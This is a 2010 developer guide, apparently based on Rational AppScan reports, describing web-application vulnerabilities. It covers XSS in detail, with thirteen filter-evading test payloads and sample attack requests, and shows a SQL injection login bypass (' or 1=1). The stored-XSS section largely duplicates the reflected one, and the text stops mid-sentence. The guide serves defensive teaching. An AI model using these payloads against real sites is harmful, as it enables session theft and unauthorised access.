security vulnerabilities in a web application

Application Related SecurityVulnerabilities in a Web Application

APPLICATION RELATEDSECURITY VULNERABILITIES

IN AWEB APPLICATION

- 1 -


Who should read this?

This document provides an insight on the various application related security vulnerabilities which a web application may have. These vulnerabilities provide the hackers (ethical hackers) an easy way to attack the application and hinder its functionality or steal confidential information/data.

The vulnerabilities covered in this document are the ones which were identified by the application - ®Rational AppScan, when run on an IIS-based application.

®Rational AppScan, is a tool which is used to identify the vulnerable areas in a web application. It provides us a handful of information about the vulnerability and various ways to fix it.

This document is partially based on the reports that were received from the ®Rational AppScan.

Document Revision History

Date Version Author Remarks

19-Jul-2010 1.0 Rupesh Kumar R Jain Finalized the document to upload.

21-Jul-2010 2.0 Rupesh Kumar R Jain Added two more vulnerabilities in the list.Added the document history section.

- 2 -


TABLE OF CONTENTS

1 APPLICATION RELATED VULNERABILITIES..................................................6

1.1 Cross-Site Scripting..........................................................................................71.1.1 Security Risks....................................................................................................................71.1.2 Possible Causes.................................................................................................................71.1.3 Technical Description.........................................................................................................71.1.4 General Fix Recommendations........................................................................................111.1.5 References and Relevant Links........................................................................................11

1.2 Stored Cross-Site Scripting.............................................................................121.2.1 Security Risks..................................................................................................................121.2.2 Possible Causes...............................................................................................................121.2.3 Technical Description.......................................................................................................121.2.4 General Fix Recommendations........................................................................................161.2.5 References and Relevant Links........................................................................................16

1.3 SQL Injection..................................................................................................171.3.1 Security Risks..................................................................................................................171.3.2 Possible Causes...............................................................................................................171.3.3 Technical Description.......................................................................................................171.3.4 General Fix Recommendations........................................................................................181.3.5 References and Relevant Links........................................................................................19

1.4 Database Error Pattern Found.........................................................................201.4.1 Security Risks..................................................................................................................201.4.2 Possible Causes...............................................................................................................201.4.3 Technical Description.......................................................................................................201.4.4 General Fix Recommendations........................................................................................211.4.5 References and Relevant Links........................................................................................22

1.5 SQL Query in Parameter Value........................................................................231.5.1 Security Risks..................................................................................................................231.5.2 Possible Causes...............................................................................................................231.5.3 Technical Description.......................................................................................................231.5.4 General Fix Recommendations........................................................................................231.5.5 References and Relevant Links........................................................................................23

1.6 Cross-Site Request Forgery.............................................................................241.6.1 Security Risks..................................................................................................................241.6.2 Possible Causes...............................................................................................................241.6.3 Technical Description.......................................................................................................241.6.4 General Fix Recommendations........................................................................................251.6.5 References and Relevant Links........................................................................................25

1.7 Link Injection (facilitates Cross-Site Request Forgery)......................................261.7.1 Security Risks..................................................................................................................261.7.2 Possible Causes...............................................................................................................261.7.3 Technical Description.......................................................................................................261.7.4 General Fix Recommendations........................................................................................271.7.5 References and Relevant Links........................................................................................27

- 3 -


1.8 Phishing through Frames................................................................................281.8.1 Security Risks..................................................................................................................281.8.2 Possible Causes...............................................................................................................281.8.3 Technical Description.......................................................................................................281.8.4 General Fix Recommendations........................................................................................281.8.5 References and Relevant Links........................................................................................28

1.9 Permanent Cookie Contains Sensitive Session Information...............................291.9.1 Security Risks..................................................................................................................291.9.2 Possible Causes...............................................................................................................291.9.3 Technical Description.......................................................................................................291.9.4 General Fix Recommendations........................................................................................291.9.5 References and Relevant Links........................................................................................29

1.10 Session Not Invalidated After Logout...............................................................301.10.1 Security Risks...............................................................................................................301.10.2 Possible Causes............................................................................................................301.10.3 Technical Description...................................................................................................301.10.4 General Fix Recommendations....................................................................................301.10.5 References and Relevant Links....................................................................................30

1.11 Cacheable SSL Page Found.............................................................................311.11.1 Security Risks...............................................................................................................311.11.2 Possible Causes............................................................................................................311.11.3 Technical Description...................................................................................................311.11.4 General Fix Recommendations....................................................................................311.11.5 References and Relevant Links....................................................................................31

1.12 HTML Comments Sensitive Information Disclosure...........................................321.12.1 Security Risks...............................................................................................................321.12.2 Possible Causes............................................................................................................321.12.3 Technical Description...................................................................................................321.12.4 General Fix Recommendations....................................................................................321.12.5 References and Relevant Links....................................................................................32

1.13 Missing Secure Attribute in Encrypted Session (SSL) Cookie.............................331.13.1 Security Risks...............................................................................................................331.13.2 Possible Causes............................................................................................................331.13.3 Technical Description...................................................................................................331.13.4 General Fix Recommendations....................................................................................331.13.5 References and Relevant Links....................................................................................33

1.14 Query Parameter in SSL Request.....................................................................341.14.1 Security Risks...............................................................................................................341.14.2 Possible Causes............................................................................................................341.14.3 Technical Description...................................................................................................341.14.4 General Fix Recommendations....................................................................................341.14.5 References and Relevant Links....................................................................................34

1.15 Cacheable Login Page Found...........................................................................351.15.1 Security Risks...............................................................................................................351.15.2 Possible Causes............................................................................................................351.15.3 Technical Description...................................................................................................351.15.4 General Fix Recommendations....................................................................................351.15.5 References and Relevant Links....................................................................................35

- 4 -


1.16 Session Identifier Not Updated........................................................................361.16.1 Security Risks...............................................................................................................361.16.2 Possible Causes............................................................................................................361.16.3 Technical Description...................................................................................................361.16.4 General Fix Recommendations....................................................................................371.16.5 References and Relevant Links....................................................................................37

1.17 Inadequate Account Lockout...........................................................................381.17.1 Security Risks...............................................................................................................381.17.2 Possible Causes............................................................................................................381.17.3 Technical Description...................................................................................................381.17.4 General Fix Recommendations....................................................................................381.17.5 References and Relevant Links....................................................................................38

1.18 Authentication Bypass Using SQL Injection......................................................391.18.1 Security Risks...............................................................................................................391.18.2 Possible Causes............................................................................................................391.18.3 Technical Description...................................................................................................391.18.4 General Fix Recommendations....................................................................................391.18.5 References and Relevant Links....................................................................................40

- 5 -


1 Application Related Vulnerabilities

Contents1. Cross-Site Scripting

2. Stored Cross-Site Scripting

3. SQL Query in Parameter Value

4. Cross-Site Request Forgery

5. Link Injection (facilitates Cross-Site Request Forgery)

6. Phishing through Frames

7. Permanent Cookie Contains Sensitive Session Information

8. Session Not Invalidated After Logout

9. Cacheable SSL Page Found

10. HTML Comments Sensitive Information Disclosure

11. Missing Secure Attribute in Encrypted Session (SSL) Cookie

12. Query Parameter in SSL Request

- 6 -


1.1 Cross-Site Scripting

1.1.1 Security Risks

It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user.

1.1.2 Possible Causes

Sanitation of hazardous characters was not performed correctly on user input.

1.1.3 Technical Description

The Cross-Site Scripting attack is a privacy violation, that allows an attacker to acquire a legitimate user's credentials and to impersonate that user when interacting with a specific website.The attack hinges on the fact that the web site contains a script that returns a user's input (usually a parameter value) in an HTML page, without first sanitizing the input. This allows an input consisting of JavaScript code to be executed by the browser when the script returns this input in the response page. As a result, it is possible to form links to the site where one of the parameters consists of malicious JavaScript code. This code will be executed (by a user's browser) in the site context, granting it access to cookies that the user has for the site, and other windows in the site through theuser's browser.The attack proceeds as follows: The attacker lures the legitimate user to click on a link that was produced by the attacker. When the user clicks on the link, this generates a request to the web-site containing a parameter value with malicious JavaScript code. If the web-site embeds this parameter value into the response HTML page (this is the essence of the site issue), the malicious code will run in the user's browser.

Possible actions that can be performed by the script are:[1] Send user's cookies (for the legitimate site) to the attacker.[2] Send information that is accessible through the DOM (URLs, Form fields, etc.), to the attacker. The result is that the security and privacy of the victim user is compromised on the vulnerable site.Some notes:[1] Although the attacked web site is involved, it is not compromised directly. It is used as a 'jump station' for the malicious script sent by the attacker, to return to the victim's browser, as if it is legitimate. However, since the privacy of the victim is breached in the context of the specific site, and since the site is directly responsible, it is considered a security flaw in the site.[2] The malicious link can be provided by the attacker, using a web site link, if the attacker maintains a site that is visited by the victim user. The malicious link can also be provided by email, if the attacker knows the user's email address, and the user's email client uses the browser to render the HTML message.[3] While user input is most commonly found in form field values (i.e. URL parameters), there are known attacks where the malicious code is embedded in the path, query, or in the HTTP Referrer headers, and even in cookies.[4] AppScan sends many types of Cross-Site Scripting attacks, including attacks that work only on specific browsers or versions of browsers. AppScan's "Show in Browser" feature uses Internet Explorer to show the vulnerability. In the case of variants to which Internet Explorer is not vulnerable, but other browsers are, the "Show in Browser" facility does not work and the popup is not shown.

There are two possible scenarios for sending input to a web application that is vulnerable to cross-site scripting:

- 7 -


A. The parameter value sent to the CGI script is returned in the response page, embedded in the HTML.For example:[request]GET /cgi-bin/script.pl?name=JSmith HTTP/1.0[response]HTTP/1.1 200 OKServer: SomeServerDate: Sun, 01 Jan 2002 00:31:19 GMTContent-Type: text/htmlAccept-Ranges: bytesContent-Length: 27<HTML>Hello JSmith</HTML>B. The parameter value sent to the CGI script is returned in an HTML parameter value context.For example:[request]GET /cgi-bin/script.pl?name=JSmith HTTP/1.0[response]HTTP/1.1 200 OKServer: SomeServerDate: Sun, 01 Jan 2002 00:31:19 GMTContent-Type: text/htmlAccept-Ranges: bytesContent-Length: 254<HTML>Please fill in your zip code:<FORM METHOD=GET ACTION="/cgi-bin/script.pl"><INPUT TYPE=text NAME="name" value="JSmith"> <br><INPUT TYPE=text NAME="zip" value="Enter zip code here"> <br><INPUT TYPE=submit value="Submit"></FORM></HTML>Example 1 - scenario AThe following request is sent by the user:[attack request]GET /cgi-bin/script.pl?name=>"'><script>alert('Watchfire%20XSS%20Test%20Successful')</script>HTTP/1.0[attack response scenario A]HTTP/1.1 200 OKServer: SomeServer4/21/2009 8:10:17 AM 233/350Date: Sun, 01 Jan 2002 00:31:19 GMTContent-Type: text/htmlAccept-Ranges: bytesContent-Length: 83<HTML>Hello >"'><script>alert('Watchfire XSS Test Successful')</script></HTML>In this case, the JavaScript code will be executed by the browser (The >"'> part is irrelevant here).Example 2 - scenario BUsing the same script and input as in Example 1 to invoke the attack:[attack response scenario B]HTTP/1.1 200 OKServer: SomeServer

- 8 -


Date: Sun, 01 Jan 2002 00:31:19 GMTContent-Type: text/htmlAccept-Ranges: bytesContent-Length: 310<HTML>Please fill in your zip code:<FORM METHOD=GET ACTION="/cgi-bin/script.pl"><INPUT TYPE=text NAME="name" value=">"'><script>alert('Watchfire XSS Test Successful')</script>"> <br><INPUT TYPE=text NAME="zip" value="Enter zip code here"> <br><INPUT TYPE=submit value="Submit"></FORM></HTML>

The >"'> prefix is used to break out of the parameter value context. Closing the parameter value field ( "'> ) and then closing the <INPUT> tag ( > ) will cause the JavaScript to be executed by the browser and not to be treated as a parameter value that would have been parsed or executed as JavaScript code.

Listed below are the different test variants:[1] >'><script>alert('Watchfire XSS Test Successful')</script>[2] >"><script>alert("Watchfire XSS Test Successful")</script>[3] </TextArea><script>alert('Watchfire XSS Test Successful')</script>[4] >"'><img src="javascript:alert('Watchfire XSS Test Successful')">[5] >"'><img src=javascript:alert ("Watchfire XSS Test Successful")>[6] " style="background:url(javascript:alert('Watchfire XSS Test Successful'))" OA="[7] --><script>alert('Watchfire XSS Test Successful')</script>[8] '+alert('Watchfire XSS Test Successful')+'[9] "+alert('Watchfire XSS Test Successful')+"[10] >'><%00script>alert('Watchfire XSS Test Successful')</script> (.NET 1.1 specific variant)[11] >"><%00script>alert("Watchfire XSS Test Successful")</script> (.NET 1.1 specific variant)[12] >+ACI-+AD4-+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-[13] %A7%A2%BE%Bc%F3%E3%F2%E9%F0%F4%Be%E1%Ec%E5%F2%F4%A8%A7Watchfire%20XSS%20Test%20Successful%A7%A9%Bc%Af%F3%E3%F2%E9%F0%F4%Be

Variant details:Test variants [1] & [2]: These are the most basic cross-site scripting variants. The difference between the two variants is the use of quotes or of an apostrophe in the JavaScript code. Some web application programmers only sanitize user input for apostrophe or for quotes, but not both. This vulnerability is detected by running both variants.Test variant [3]: This test variant is specifically designed for user input that is returned embedded in <TEXTAREA> parameters. During the test, an attempt is made to break out of the parameter value (text area), to force the JavaScript to be executed by the browser.Test variant [4]: Some web application programmers sanitize <SCRIPT> tags from user input, but forget to sanitize the "javascript:" specifier, which can be used in HTML links. During this test, an attempt is made to embed the malicious JavaScript code by using an <img> tag with a JavaScript link as its source.Test variant [5]: This variant is very similar to variant #4. It uses HTML entities to bypass security measures which sanitize user input of the <, >, quotes and the "javascript:" specifier.Test variant [6]: This variant uses the least number of non-standard characters. Unlike former variants, it does not use &, >, < , # or ; characters. Assuming that the user input is embedded in an HTML form parameter value (inside an <INPUT> tag), the malicious string first escapes from parameter value context and then proceeds to add a STYLE attribute to the <INPUT> tag, in which it embeds the malicious JavaScript code. Note: this variant will only succeed in scenario B, or if user input is embedded in attributes of other HTML elements.

- 9 -

Test variant [7]: Some web applications embed user input inside HTML comments. To test the application for this vulnerability, the HTML comment ( --> ) is first closed, and then the malicious JavaScript code is embedded.Test variants [8] & [9]: Some web applications embed user input in JavaScript string literals, for example:<HTML><SCRIPT LANGUAGE="JavaScript">var str = 'Hello $user_input';...</SCRIPT></HTML>If we send the following parameter value: '+alert('Watchfire XSS Test Successful')+', the resultingresponse page will look like this:<HTML><SCRIPT LANGUAGE="JavaScript">var str = 'Hello ' + alert('Watchfire XSS Test Successful') + '';...</SCRIPT></HTML>The application is tricked into concatenating the malicious JavaScript code in the middle of the original string literal, causing the browser to execute our JavaScript code. The difference between variants #8 and #9 is the use of quotes or of an apostrophe, which customizes the attack for both string terminating characters.Test variants [10] & [11]: In Microsoft .NET 1.1, the HttpRequest. ValidateInput method validates data submitted by a client browser and raises an exception if potentially dangerous data is present.From MSDN: "If the validation feature is enabled by page directive or configuration, this method is called during the Page's ProcessRequest processing phase. ValidateInput can be called by your code if the validation feature is not enabled. Request validation works by checking all input data against a hard-coded list of potentially dangerous data."Input data is checked during request validation in the following members:- HttpRequest.Form,- HttpRequest.QueryString,- HttpRequest.Cookies** Note: The HttpRequest.ValidateInput is enabled by default in ASP.NET 1.1ASP.NET 1.1 blocks input containing '<' followed by an alphanumeric character or an exclamation mark (e.g. <script> , <img, <!--, etc...) If the '<' character is followed first by a NULL byte and only then by an alphanumeric character, the pattern does not match and the input is allowed to reach the web application. For example:[*] The string '<script>' is blocked by ASP.NET 1.1[*] The string '<%00script>' is allowed by ASP.NET 1.1In addition, the HTML parser of most web browsers (including all versions of Microsoft Internet Explorer), ignores the NULL byte, and parses <%00script> as <script>. When combining this with the security problem presented above, any HTML tag can be injected through ASP.NET 1.1 HttpRequest.ValidateInput security mechanism, leaving it vulnerable to cross site scripting, and injection of other malicious HTML tags.Test variant [12]: While many input validation functions properly filter out or escape common characters used for XSS (such as <> (triangular parenthesis)), only a few manage to handle hazardous UTF-7 encoded strings.Therefore, in many cases, when sending an XSS attack payload encoded in UTF-7, the payload will return in the response without being altered.For the attack to succeed, the victim's browser should treat the XSS payload as UTF-7, otherwise the script will not be executed.If 'Encoding' is set to 'Auto-Detect', and Internet Explorer finds a UTF-7 string in the first 4096 characters of the response body, it will set the charset encoding to UTF-7 automatically, unless another charset encoding is already enforced. This automatic encoding feature may help a malicious user to mount the UTF-7 XSS attack.

- 10 -


A successful attack for this variant requires the following:[*] The victim uses an Internet Explorer client with 'Encoding' set to 'Auto-Detect'.[*] There is no charset encoding enforcement (unless utf-7 is enforced) in:[*] The response headers ("Content-Type: text/html; charset=[encoding]").[*] A <meta http-equiv="Content-Type" (...) charset=[encoding]/> tag at the response html.[*] The injected text appears in the first 4096 characters of the html text.Test variant [13]: The purpose of this variant is to exploit the way Internet-Explorer treats responses with 'us-ascii' Content-Type (it discards the Most Significant Bit of each character).By changing the most significant bit of each character of an XSS payload, AppScan can evade standard input sanitation functions.For example: %3C, which is the URL-encoded representation of "<", is transformed into %BC in this attack. It is not recognized by the server-side sanitation function as a hazardous character, and therefore not altered in any way, but it will be read by Internet Explorer as "<", making a Cross-Site Scripting attack possible.

1.1.4 General Fix Recommendations

There are several issues whose remediation lies in sanitizing user input.By verifying that user input does not contain hazardous characters, it is possible to prevent malicious users from causing your application to execute unintended operations, such as launch arbitrary SQL queries, embed Javascript code to be executed on the client side, run various operating system commands etc.It is advised to filter out all the following characters:[1] | (pipe sign)[2] & (ampersand sign)[3] ; (semicolon sign)[4] $ (dollar sign)[5] % (percent sign)[6] @ (at sign)[7] ' (single apostrophe)[8] " (quotation mark)[9] \' (backslash-escaped apostrophe)[10] \" (backslash-escaped quotation mark)[11] <> (triangular parenthesis)[12] () (parenthesis)[13] + (plus sign)[14] CR (Carriage return, ASCII 0x0d)[15] LF (Line feed, ASCII 0x0a)[16] , (comma sign)[17] \ (backslash)

1.1.5 References and Relevant Links

CERT Advisory CA-2000-02Microsoft How To: Prevent Cross-Site Scripting Security Issues (Q252985)Microsoft How To: Prevent Cross-Site Scripting in ASP.NETMicrosoft How To: Protect From Injection Attacks in ASP.NETMicrosoft How To: Use Regular Expressions to Constrain Input in ASP.NETMicrosoft .NET Anti-Cross Site Scripting LibraryCross-Site Scripting Training Module

- 11 -

http://download.boulder.ibm.com/ibmdl/pub/software/dw/richmedia/rational/08/appscan_demos/xss/viewer.swf#recorded_advisory

http://msdn.microsoft.com/en-us/library/ms998267.aspx


http://msdn.microsoft.com/en-us/library/Bb355989.aspx


http://support.microsoft.com/default.aspx?scid=kb;EN-US;q252985

http://www.cert.org/advisories/CA-2000-02.html


1.2 Stored Cross-Site Scripting






The Cross-Site Scripting attack is a privacy violation, which allows an attacker to acquire a legitimate user's credentials and to impersonate that user when interacting with a specific website.The attack hinges on the fact that the web site contains a script that returns a user's input (usually a parameter value) in an HTML page, without first sanitizing the input. This allows an input consisting of JavaScript code to be executed by the browser when the script returns this input in the response page. As a result, it is possible to form links to the site where one of the parameters consists of malicious JavaScript code. This code will be executed (by a user's browser) in the site context, granting it access to cookies that the user has for the site, and other windows in the site through theuser's browser. The attack proceeds as follows: The attacker lures the legitimate user to click on a link that was produced by the attacker. When the user clicks on the link, this generates a request to the web-site containing a parameter value with malicious JavaScript code. If the web-site embeds this parameter value into the response HTML page (this is the essence of the site issue), the malicious code will run in the user's browser.

Possible actions that can be performed by the script are:[1] Send user's cookies (for the legitimate site) to the attacker.[2] Send information that is accessible through the DOM (URLs, Form fields, etc.), to the attacker.The result is that the security and privacy of the victim user is compromised on the vulnerable site.Some notes:[1] Although the attacked web site is involved, it is not compromised directly. It is used as a 'jump station' for the malicious script sent by the attacker, to return to the victim's browser, as if it is legitimate. However, since the privacy of the victim is breached in the context of the specific site, and since the site is directly responsible, it is considered a security flaw in the site.[2] The malicious link can be provided by the attacker, using a web site link, if the attacker maintains a site that is visited by the victim user. The malicious link can also be provided by email, if the attacker knows the user's email address, and the user's email client uses the browser to render the HTML message.[3] While user input is most commonly found in form field values (i.e. URL parameters), there are known attacks where the malicious code is embedded in the path, query, or in the HTTP Referrer headers, and even in cookies.[4] AppScan sends many types of Cross-Site Scripting attacks, including attacks that work only on specific browsers or versions of browsers. AppScan's "Show in Browser" feature uses Internet Explorer to show the vulnerability. In the case of variants to which Internet Explorer is not vulnerable, but other browsers are, the "Show in Browser" facility does not work and the popup is not shown. There are two possible scenarios for sending input to a web application that is vulnerable to cross-site scripting:

- 12 -


A. The parameter value sent to the CGI script is returned in the response page, embedded in theHTML.For example:[request]GET /cgi-bin/script.pl?name=JSmith HTTP/1.0[response]HTTP/1.1 200 OKServer: SomeServerDate: Sun, 01 Jan 2002 00:31:19 GMTContent-Type: text/htmlAccept-Ranges: bytesContent-Length: 27<HTML>Hello JSmith</HTML>B. The parameter value sent to the CGI script is returned in an HTML parameter value context.For example:[request]GET /cgi-bin/script.pl?name=JSmith HTTP/1.0[response]HTTP/1.1 200 OKServer: SomeServerDate: Sun, 01 Jan 2002 00:31:19 GMTContent-Type: text/htmlAccept-Ranges: bytesContent-Length: 254<HTML>Please fill in your zip code:<FORM METHOD=GET ACTION="/cgi-bin/script.pl"><INPUT TYPE=text NAME="name" value="JSmith"> <br><INPUT TYPE=text NAME="zip" value="Enter zip code here"> <br><INPUT TYPE=submit value="Submit"></FORM></HTML>Example 1 - scenario AThe following request is sent by the user:[attack request]GET /cgi-bin/script.pl?name=>"'><script>alert('Watchfire%20XSS%20Test%20Successful')</script>HTTP/1.0[attack response scenario A]HTTP/1.1 200 OKServer: SomeServerDate: Sun, 01 Jan 2002 00:31:19 GMTContent-Type: text/htmlAccept-Ranges: bytesContent-Length: 83<HTML>Hello >"'><script>alert('Watchfire XSS Test Successful')</script></HTML>In this case, the JavaScript code will be executed by the browser (The >"'> part is irrelevant here).Example 2 - scenario BUsing the same script and input as in Example 1 to invoke the attack:[attack response scenario B]HTTP/1.1 200 OKServer: SomeServerDate: Sun, 01 Jan 2002 00:31:19 GMT

- 13 -


Content-Type: text/htmlAccept-Ranges: bytesContent-Length: 310<HTML>Please fill in your zip code:<FORM METHOD=GET ACTION="/cgi-bin/script.pl"><INPUT TYPE=text NAME="name" value=">"'><script>alert('Watchfire XSS Test Successful')</script>"> <br><INPUT TYPE=text NAME="zip" value="Enter zip code here"> <br><INPUT TYPE=submit value="Submit"></FORM></HTML>The >"'> prefix is used to break out of the parameter value context. Closing the parameter value field ( "'> ) and then closing the <INPUT> tag ( > ) will cause the JavaScript to be executed by the browser and not to be treated as a parameter value that would have been parsed or executed as JavaScript code.Listed below are the different test variants:[1] >'><script>alert('Watchfire XSS Test Successful')</script>[2] >"><script>alert("Watchfire XSS Test Successful")</script>[3] </TextArea><script>alert('Watchfire XSS Test Successful')</script>[4] >"'><img src="javascript:alert('Watchfire XSS Test Successful')">[5] >"'><img src=javascript:alert("Watchfire XSS Test Successful")>[6] " style="background:url(javascript:alert('Watchfire XSS Test Successful'))" OA="[7] --><script>alert('Watchfire XSS Test Successful')</script>[8] '+alert('Watchfire XSS Test Successful')+'[9] "+alert('Watchfire XSS Test Successful')+"[10] >'><%00script>alert('Watchfire XSS Test Successful')</script> (.NET 1.1 specific variant)[11] >"><%00script>alert("Watchfire XSS Test Successful")</script> (.NET 1.1 specific variant)[12] >+ACI-+AD4-+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-[13] %A7%A2%BE%Bc%F3%E3%F2%E9%F0%F4%Be%E1%Ec%E5%F2%F4%A8%A7Watchfire%20XSS%20Test%20Successful%A7%A9%Bc%Af%F3%E3%F2%E9%F0%F4%BeVariant details:Test variants [1] & [2]: These are the most basic cross-site scripting variants. The difference between the two variants is the use of quotes or of an apostrophe in the JavaScript code. Some web application programmers only sanitize user input for apostrophe or for quotes, but not both. This vulnerability is detected by running both variants.Test variant [3]: This test variant is specifically designed for user input that is returned embedded in <TEXTAREA> parameters. During the test, an attempt is made to break out of the parameter value (text area), to force the JavaScript to be executed by the browser. Test variant [4]: Some web application programmers sanitize <SCRIPT> tags from user input, but forget to sanitize the "javascript:" specifier, which can be used in HTML links. During this test, an attempt is made to embed the malicious JavaScript code by using an <img> tag with a JavaScript link as its source.Test variant [5]: This variant is very similar to variant #4. It uses HTML entities to bypass security measures which sanitize user input of the <, >, quotes and the "javascript:" specifier. Test variant [6]: This variant uses the least number of non-standard characters. Unlike former variants, it does not use &, >, < , # or ; characters. Assuming that the user input is embedded in an HTML form parameter value (inside an <INPUT> tag), the malicious string first escapes from parameter value context and then proceeds to add a STYLE attribute to the <INPUT> tag, in which it embeds the malicious JavaScript code. Note: this variant will only succeed in scenario B, or if user input is embedded in attributes of other HTML elements.Test variant [7]: Some web applications embed user input inside HTML comments. To test the application for this vulnerability, the HTML comment ( --> ) is first closed, and then the malicious JavaScript code is embedded.

- 14 -

Test variants [8] & [9]: Some web applications embed user input in JavaScript string literals, for example:<HTML><SCRIPT LANGUAGE="JavaScript">var str = 'Hello $user_input';...</SCRIPT></HTML>If we send the following parameter value: '+alert('Watchfire XSS Test Successful')+', the resultingresponse page will look like this:<HTML><SCRIPT LANGUAGE="JavaScript">var str = 'Hello ' + alert('Watchfire XSS Test Successful') + '';...</SCRIPT></HTML>The application is tricked into concatenating the malicious JavaScript code in the middle of the original string literal, causing the browser to execute our JavaScript code. The difference between variants #8 and #9 is the use of quotes or of an apostrophe, which customizes the attack for both string terminating characters.Test variants [10] & [11]: In Microsoft .NET 1.1, the HttpRequest.ValidateInput method validates data submitted by a client browser and raises an exception if potentially dangerous data is present. From MSDN: "If the validation feature is enabled by page directive or configuration, this method is called during the Page's ProcessRequest processing phase. ValidateInput can be called by your code if the validation feature is not enabled. Request validation works by checking all input data against a hard-coded list of potentially dangerous data."Input data is checked during request validation in the following members:- HttpRequest.Form,- HttpRequest.QueryString,- HttpRequest.Cookies** Note: The HttpRequest.ValidateInput is enabled by default in ASP.NET 1.1ASP.NET 1.1 blocks input containing '<' followed by an alphanumeric character or an exclamation mark (e.g. <script> , <img, <!--, etc...) If the '<' character is followed first by a NULL byte and only then by an alphanumeric character, the pattern does not match and the input is allowed to reach the web application. For example:[*] The string '<script>' is blocked by ASP.NET 1.1[*] The string '<%00script>' is allowed by ASP.NET 1.1In addition, the HTML parser of most web browsers (including all versions of Microsoft Internet Explorer), ignores the NULL byte, and parses <%00script> as <script>. When combining this with the security problem presented above, any HTML tag can be injected through ASP.NET 1.1 HttpRequest. ValidateInput security mechanism, leaving it vulnerable to cross site scripting, and injection of other malicious HTML tags.Test variant [12]: While many input validation functions properly filter out or escape common characters used for XSS (such as <> (triangular parenthesis)), only a few manage to handle hazardous UTF-7 encoded strings.Therefore, in many cases, when sending an XSS attack payload encoded in UTF-7, the payload will return in the response without being altered.For the attack to succeed, the victim's browser should treat the XSS payload as UTF-7, otherwise the script will not be executed.If 'Encoding' is set to 'Auto-Detect', and Internet Explorer finds a UTF-7 string in the first 4096 characters of the response body, it will set the charset encoding to UTF-7 automatically, unless another charset encoding is already enforced. This automatic encoding feature may help a malicious user to mount the UTF-7 XSS attack.A successful attack for this variant requires the following:[*] The victim uses an Internet Explorer client with 'Encoding' set to 'Auto-Detect'.[*] There is no charset encoding enforcement (unless utf-7 is enforced) in:

- 15 -


[*] The response headers ("Content-Type: text/html; charset=[encoding]").[*] A <meta http-equiv="Content-Type" (...) charset=[encoding]/> tag at the response html.[*] The injected text appears in the first 4096 characters of the html text.Test variant [13]: The purpose of this variant is to exploit the way Internet-Explorer treats responses with 'us-ascii' Content-Type (it discards the Most Significant Bit of each character).By changing the most significant bit of each character of an XSS payload, AppScan can evade standard input sanitation functions.For example: %3C, which is the URL-encoded representation of "<", is transformed into %BC in this attack. It is not recognized by the server-side sanitation function as a hazardous character, and therefore not altered in any way, but it will be read by Internet Explorer as "<", making a Cross-Site Scripting attack possible.




CERT Advisory CA-2000-02Microsoft How To: Prevent Cross-Site Scripting Security Issues (Q252985)Microsoft How To: Prevent Cross-Site Scripting in ASP.NETMicrosoft How To: Protect From Injection Attacks in ASP.NETMicrosoft How To: Use Regular Expressions to Constrain Input in ASP.NETMicrosoft .NET Anti-Cross Site Scripting LibraryCross-Site Scripting Training Module

- 16 -

http://download.boulder.ibm.com/ibmdl/pub/software/dw/richmedia/rational/08/appscan_demos/xss/viewer.swf#recorded_advisory



http://msdn.microsoft.com/en-us/library/Bb355989.aspx


http://support.microsoft.com/default.aspx?scid=kb;EN-US;q252985

http://www.cert.org/advisories/CA-2000-02.html


1.3 SQL Injection

1.3.1 Security RisksIt is possible to view, modify or delete database entries and tables.

1.3.2 Possible CausesSanitation of hazardous characters was not performed correctly on user input.

1.3.3 Technical DescriptionWeb applications often use databases at the backend to interact with the enterprise data warehouse. The de-facto standard language for querying databases is SQL (each major database vendor has its own dialect). Web applications often take user input (taken out of the HTTP request) and incorporate it in an SQL query, which is then sent to the backend database. The query results are then processed by the application and sometimes displayed to the user.

This mode of operation can be exploited by an attacker if the application is not careful enough with its treatment of user (attacker) input. If this is the case, an attacker can inject malicious data, which when incorporated into an SQL query, changes the original syntax of the query into something completely different. For example, if an application uses user's input (such as username and password) to query a database table of users' accounts in order to authenticate the user, and the attacker has the ability to inject malicious data into the username part of the query (or the password part, or both), the query can be changed into a different data yanking query, a query that modifies the database, or a query that runs shell commands on the database server.

Typically, the attacker achieves this goal in steps. He/she will first learn the structure of the SQL query, and then use this knowledge to thwart the query (by injecting data that changes the query syntax) into performing differently than intended. Suppose the query in question is:SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass' Where $user and $pass are user input (collected from the HTTP request which invoked the script that constructs the query - either from a GET request query parameters, or from a POST request body parameters). A regular usage of this query would be with values $user=john, $password=secret123.

The query formed would be:SELECT COUNT(*) FROM accounts WHERE username='john' AND password='secret123' The expected query result is 0 if no such user+password pair exists in the database, and >0 if such pair exists (i.e. there is a user named 'john' in the database, whose password is 'secret123'). This would serve as a basic authentication mechanism for the application. But an attacker can alter this query in the following ways:1. By providing an input consisting of a single apostrophe character ('), the attacker can cause the database to emit an error message, which usually contains valuable information regarding the SQL query. The attack would simply involve sending a request with the user value ' and a password with any value (e.g. foobar). The result would be the following (malformed) SQL query: SELECT COUNT(*) FROM accounts WHERE username=''' AND password='foobar'This may yield the following error message (depending on the specific database in use at the backend):Syntax error (missing operator) in query expression 'username = ''' AND password = 'foobar''.The attacker is informed that the query is built around the expression username='$user' AND password='$pass'. This crucial information is needed to exploit the SQL query at hand. When the attacker understands the format of the query, his next step would simply be to use: user = ' or 1=1 or ''='password = foobarThe resulting query is:SELECT COUNT(*) FROM accounts WHERE username='' or 1=1 or ''='' AND password='foobar' This means that the query (in the SQL database) will return TRUE for every record of the table "accounts", since the expression 1=1 is always true. Therefore, the query will return the number of records in "accounts", and thus the user (attacker) will be considered valid. There are several variants of this probing method, such as sending '; or \' (it should be remembered that almost all vendors have their

- 17 -


